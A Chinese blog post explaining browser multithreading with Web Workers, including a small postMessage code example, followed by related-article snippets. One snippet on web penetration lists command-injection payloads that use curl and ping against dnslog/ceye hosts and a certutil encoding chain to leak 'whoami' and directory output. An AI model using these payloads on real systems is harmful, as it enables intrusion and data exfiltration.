编程深水区之并发④:Web多线程
Node的灵感来源于Chrome,更是移植了V8引擎。在Node中能够实现的多线程,在Web环境中自然也可以。
一、浏览器是多进程和多线程的复杂应用
在本系列的第二章节,有提到现代浏览器是一个多进程和多线程的复杂应用。浏览器主进程统管全局,每个Tab页都会创建一个渲染子进程,同时还有GPU子进程、插件子进程等。
在每个Tab页(即渲染子进程)中,都独立运行着一个V8引擎,负责编译、优化和执行JS代码,本节讲的Web Worker多线程,也依赖于V8引擎,由V8引擎负责统一调度。需要注意的是,在浏览器中还有专门负责渲染UI的线程、网络请求的线程、请求加载和渲染图片的线程、本地存储的线程、音视频处理的线程、Websocket线程等,这些线程由浏览器本身负责统一调度。
二、Web Worker实现多线程
使用 Web Worker 可以在JS代码中创建后台线程,以执行耗时的 JavaScript 计算任务,而不阻塞主线程,从而提高页面的响应性。Web Worker的一些必知的知识点:
- **用户态线程:**Web Worker创建的多线程是用户态线程,更加轻量,占用内存更少,由V8引擎负责调度;而Node中使用worker模块创建的Worker线程,则是操作系统线程,由操作系统进行调度和管理。
- **同源限制:**Worker 脚本必须与创建它的主脚本在同一个源(协议、域名、端口)下运行。
- **无法访问DOM:**Worker 无法直接访问主线程中的 DOM 元素或全局变量,只能通过消息传递通信。
- **数据通讯:**通过 postMessage 方法可以传递任意类型的数据(对象、数组等),但存在拷贝情况,即消息通讯是有比较大的性能开销的,只有CPU密集型的计算,才应该考虑使用Worker线程。
//main.js,主线程代码============================================//创建一个新的 Web Worker,指定 Worker 文件的路径
const worker = new Worker('./mywork.js');//向 Worker 发送消息
worker.postMessage(5); // 发送数据给 Worker//监听来自 Worker 的消息
worker.onmessage = function(event) {console.log('Main thread received message:', event.data);// 在这里处理从 Worker 返回的数据
};// 监听 Worker 的错误
worker.onerror = function(error) {console.error('Worker error:', error.message);
};// mywork.js,Worker线程代码=====================================
// 监听主线程发送的消息
self.onmessage = function(event) {console.log('Worker received message:', event.data);// 模拟一个耗时操作,比如计算let result = calculate(event.data);// 发送结果回主线程self.postMessage(result);
};// 模拟耗时计算
function calculate(data) {let result = data * 2;return result;
}
三、其它在浏览器实现复杂计算的思路
- **SharedArrayBuffer 和 Atomics:**SharedArrayBuffer 允许多个 Web Worker 线程共享相同的内存缓冲区,通过 Atomics 对象可以进行原子操作,实现在多个 Worker 之间的线程安全的数据交换和同步。这通常比消息通讯更加高效,详见本系列第三章节
- **OffscreenCanvas:**允许在一个或多个后台线程中渲染图像,减轻主线程的压力。它可以与 Web Worker 结合使用,使得 Canvas 的渲染工作可以在后台线程中进行,提高了动画和游戏等图形密集型应用的性能。
- Service Worker: 特殊的Worker,运行在浏览器背后,独立于当前页面。即使Tab关闭,它也能执行。
- **Web Assembly (Wasm):**通过将 C、C++、Rust、C# 等语言编译成 Wasm,可以实现高性能的计算任务,但它并非 JavaScript 的替代品,而是可以与 JavaScript 共存,用于优化特定的计算密集型任务。
- **IndexedDB:**浏览器中的本地数据库,它可以在主线程外部执行操作,不会阻塞主线程。虽然主要用于存储和管理大量数据,但可以在一定程度上实现后台数据处理和数据操作。
*这是一个系列文章,将全面介绍多线程、协程和单线程事件循环机制,建议收藏、点赞哦!
*你在并发编程过程中碰到了哪些难题?欢迎评论区交流~~~
我是functionMC > function MyClass(){…}
C#/TS/鸿蒙/AI等技术问题,以及如何写Bug、防脱发、送外卖等高深问题,都可以私信提问哦!
相关文章:

编程深水区之并发④:Web多线程
Node的灵感来源于Chrome,更是移植了V8引擎。在Node中能够实现的多线程,在Web环境中自然也可以。 一、浏览器是多进程和多线程的复杂应用 在本系列的第二章节,有提到现代浏览器是一个多进程和多线程的复杂应用。浏览器主进程统管全局…...

【实战指南】从提升AI知识库效果,从PDF转Markdown开始
经常有人抱怨AI知识库精确度不够、答非所问。我有时候想想,会觉得其实AI也挺冤的,因为很有可能不是它能力不行,而是你一开始给的文档就有问题,导致它提取文本有错误、不完整,那后边一连串的检索、生成怎么可能好呢&…...
Android 删除telephony的features
比如删除android.hardware.telephony.subscription 找到这个文件:frameworks/native/data/etc/android.hardware.telephony.subscription.xml <!-- This is the standard set of features for devices to support Telephony Subscription API. --> -<perm…...

Linux驱动开发—编写第一个最简单的驱动模块
文章目录 开发驱动准备工作1.正常运行的Linux系统的开发板2.内核源码树3.nfs挂载的rootfs4.得心趁手的IDE 第一个Hello world 驱动程序常见模块的操作命令模块的初始化和清理模块的版本信息模块中的各种宏 示例Hello World代码printk函数解析 使用MakeFile编译驱动模块使用insm…...

科普文:微服务之Spring Cloud 组件API网关Gateway
API网关是一个服务器,是系统的唯一入口。从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部架构,为每个客户端提供一个定制的API。它可能还具有其它职责,如身份验证、监控、负载均衡、缓存、请求分片与管理、静态响…...

Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时
引言 随着云原生技术的飞速发展,Kubernetes(简称K8s)作为云原生应用的核心调度平台,其重要性日益凸显。K8s通过开放一系列接口,实现了高度的可扩展性和灵活性,其中CRI(Container Runtime Inter…...

【数据结构】二叉搜索树(Java + 链表实现)
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构、LeetCode专栏 📚本系…...
java Brotli压缩算法实现压缩、解压缩
在Java中实现Brotli压缩和解压缩,你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码: 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...
centos7.9 安装java相关组件
10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...

在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:
在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现: 1. 使用快捷键 Alt 7 操作说明:在IDEA中,按下Alt 7可以快速打开“Structure”窗口(在…...
ChatGPT的强大之处:探究及与国内产品的对比
论文题目:ChatGPT的强大之处:探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型,自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大,并对比其与国内类似产品的优劣,深…...

MySql审计平台
安装方式: cookieY/Yearning: 🐳 A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议,帮助用户优化SQL语句,以获得更好的性能。同时AI助手还提供文本到SQL的…...

深度学习6--深度神经网络
1.VGG网络 在图像分 类这个领域中,深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为,卷积模块是对 图像特征的提取,并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...

有了Power BI还需要深入学习Excel图表制作吗?
Power BI和Excel都是微软公司的产品,但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具,它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据,并且可以连接到多种数…...

WEB渗透Web突破篇-命令执行
命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...

【MYSQL】表操作
目录 查看当前数据库含有表查看表结构创建表插入(新增create)查询(retrieve)全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...

破解USB设备通讯协议实现自定义软件控制的步骤与方法
在设备和计算机之间通过USB进行通讯的情况下,厂家提供的软件可以控制设备,但没有提供任何其他资料和支持,这种情况下,若希望自行开发软件来实现同样的功能,可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...
FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析
一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码(本文演示用的FFmpeg源码版本为7.0.1)的源文件libavcodec/avpacket.c中: /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...

HarmonyOS应用开发知识地图
HarmonyOS 应用开发旅程 HarmonyOS 应用开发旅程 PS:Xmind原文件可以直接跳转官方具体文档地址,如需要原文件请联系:DYZZ198 01.准备与学习 学习 HarmonyOS 的基本概念和架构,搭建好所需的开发工具和环境,了解开发规范和最佳实践 了解 H…...

了解反向代理如何工作吗?
在当今数字化时代,网络通讯扮演着重要的角色,而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术,代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理,深入探讨其在网络通讯…...

智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...

2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议(EPSFD 2025)将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会,EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...

P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
spring:实例工厂方法获取bean
spring处理使用静态工厂方法获取bean实例,也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下: 定义实例工厂类(Java代码),定义实例工厂(xml),定义调用实例工厂ÿ…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...

淘宝扭蛋机小程序系统开发:打造互动性强的购物平台
淘宝扭蛋机小程序系统的开发,旨在打造一个互动性强的购物平台,让用户在购物的同时,能够享受到更多的乐趣和惊喜。 淘宝扭蛋机小程序系统拥有丰富的互动功能。用户可以通过虚拟摇杆操作扭蛋机,实现旋转、抽拉等动作,增…...